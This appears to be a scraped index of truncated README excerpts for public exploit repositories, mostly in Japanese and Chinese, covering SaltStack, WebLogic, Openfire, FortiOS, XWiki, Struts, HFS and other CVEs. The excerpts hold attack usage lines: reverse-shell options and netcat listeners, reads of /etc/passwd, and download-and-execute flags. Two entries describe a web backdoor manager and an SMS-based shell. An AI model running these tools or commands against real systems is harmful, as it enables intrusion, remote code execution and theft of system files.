SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2024-7399-POC

CVE-2024-7399 CVE-2024-7399 のエクスプロイト。 詳細はこちら: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/。 使用方法: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/ --upload test.txt...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus スキャン 0x02 K8 Tools GetShell 0x03 CMDクエリ 使用方法: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 返されたJSESSIONIDとcsrftokenを取得し、リクエストパケットを構築してユーザーを追加（JSESSIONID、csrftokenを置換） cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 プラグインのコンパイルとインストール mvn clean package または releases からプラグインをダウンロード 0x03 プラグインのアップロード 0x04 webshellを取得...

CVE-2022-30190

CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション usage: CVE-2022-30190.py -h --html HTML --cmd CMD --downexec --downloadurl...

fortios-auth-bypass-exploit-CVE-2024-55591

CVE-2024-55591 Fortinet FortiOS 認証バイパスの脆弱性エクスプロイト 説明 このexpを使用すると、認証をバイパスしてコマンドを実行できます。 使用法 sysirq@sysirq-machine:/Work/Fortinet/FortiGate7016/CVE-2024-55591$ python3 exp.py usage: exp.py -h --target TARGET --port PORT --username USERNAME --cmd CMD exp.py: error: the following arguments are...

SpringCloudGatewayRCE

SpringCloudGateway远程命令执行漏洞 Code By:Tas9er 0x00 风险概述 本工具仅限授权安全测试使用,禁止未授权非法攻击站点 0x01 工具使用 java -jar SpringCloudGatewayRCE.jar 0x02 Bug问题 有空再说...

CVE-2024-32113

CVE-2024-32113 Apache OFBIZ バッチスキャン 注意：このツールを違法攻撃に使用することを支援するものではありません。このツールは技術的な交流のみを目的としています。 Note: このツールは違法攻撃をサポートしません。技術交流のみを目的としています。 注意：本人不支持任何人使用本工具进行非法攻击，本工具仅作为技术交流。 ヘルプ CVE-2024-32113 Batch Scanning optional arguments: -h, --help show this help message and exit -f FILE, --file FILE Targe...

CVE-2024-27130

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 テロ組織ハマスによって人質に取られたすべての市民の安全な帰還を要求します。すべての人質が解放され、無事に帰宅するまで、私たちは休みません。あなたも彼らを家に連れ戻す手助けができます。https://stories.bringthemhomenow.net/ QNAP QTS CVE-2024-27130 PoC 🔒 このリポジトリには、QNAP QTS に影響する脆弱性 CVE-2024-27130 を悪用するための概念実証（PoC）スクリプトが含まれています。この脆弱性により、攻撃者は root...

Sangfor-CVE-2025-12916

Sangfor-CVE-2025-12916 Sangfor CVE-2025-12916 リモートコマンド実行脆弱性一括検出ツール || 作者：金夏安全 Sangfor OSM 脆弱性一括検出ツール Sangfor 運用管理セキュリティシステム OSM CVE-2025-12916 リモートコマンド実行脆弱性向けの一括検出ツールです。 🚨 脆弱性情報 CVE番号 : CVE-2025-12916 脆弱性タイプ : リモートコマンド実行 影響バージョン : Sangfor OSM 3.0.12 20241106 脆弱性ファイル : /fort/portallogin 脆弱性パラメータ :...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061のGUI用exp、楽しみと練習のためだけです 使用 python CVE-2020-17530.py ターゲットアドレスを入力 実行したいシステムコマンドを入力 実行をクリック PS: expにはリバースシェル関数が組み込まれていますが、GUIにボタンや設定項目を追加するのが面倒だったので、これくらいにしておきます...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell（通过 base64 绕过 Groovy 限制） 改进了命令输出的处理 保留...

Erlang-OTP-PoC_CVE-2025-32433

Erlang/OTP SSH 事前認証チャネル混乱 📺 概念実証ビデオ 説明: Erlang/OTP SSH 事前認証チャネル混乱の脆弱性のデモンストレーション。 YouTube で全デモを視聴するにはここをクリック 概要 この PoC は何についてですか？ この概念実証は CVE-2025-32433 を実証します。これは Erlang/OTP SSH サーバー実装 における脆弱性で、攻撃者が 認証前に SSH チャネルを開き、コマンドを実行する ことを可能にします。 SSH プロトコルの状態遷移の不適切な強制により、特定の SSH メッセージ（SSHMSGCHANNELOPEN およ...

SMShell

SMShell PoC for an SMS-based shell. Send commands and receive responses over SMS from mobile broadband capable computers. This tool came as an insipiration during a research on eSIM security implications led by Markus Vervier, presented at Offensivecon 2023 Disclaimer This is not a complete C2 bu...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 该仓库包含针对 Rejetto HTTP 文件服务器 HFS 2.3.x 远程命令执行漏洞的详细说明和可用 PoC。 配置： 创建一个 netcat 监听器。 nc -lnvp 1234 将攻击者 IP 改为你的 IP 和端口。 同时，在 nc.exe 所在的同一目录下创建一个 HTTP 文件服务器。 python -m http.server 80 使用方法： python exploit.py 注意：你可能需要多次运行该 payload 才能获得反弹 shell。 参考...

CVE-2020-11651-poc

CVE-2020-11651 および CVE-2020-11652 の PoC エクスプロイト これは、最初の チェックスクリプト に基づく概念実証エクスプロイトです。Salt マスターサーバーが 必要な修正を含むリリース に正常に更新されたことを確認するために使用します。 F-Secure Labs の調査と報告に感謝します。 現在、このスクリプトはマスターと接続されているすべてのミニオン上でファイルシステムへのアクセスやコマンドのスケジュールに使用できます。これらの力を賢く使いましょう！ 使い方 デフォルトの操作（引数なし）は、指定されたマスターのルートキーを取得します。...

Apache-Struts

Apache-Struts Apache Struts CVE-2017-5638 のエクスプロイト 使用方法 単一のURLをテストする。 python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Nmap 偵察 nmap -p --script http-vuln-cve2017-5638 ' URLのリストをテストする。 python struts-pwn.py --list 'urls.txt' -c 'id' 単一のURLに対して脆弱性が存在するか確認する。 pyth...

CVE-2021-43287

CVE-2021-43287 POC: pocsuite -r CVE-2021-43287GoCDfilereadPOCEXP -u url EXP: pocsuite -r CVE-2021-43287GoCDfilereadPOCEXP -u url --attack --command "command" 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！ 免責事項 このツールは学習、研究、自己確認のみを目的としています。違法な目的で使用してはなりません。このツールの使用から生じるすべてのリスクは私とは関係ありません！...

Shelly

Shelly | Simple Backdoor Manager with Python based on weevely Shelly is a simple tool that is written using Python, which functions to remote a website Instalation : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py Requirements : sudo pip install -r requirements.txt...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参照 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 使い方 pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using a...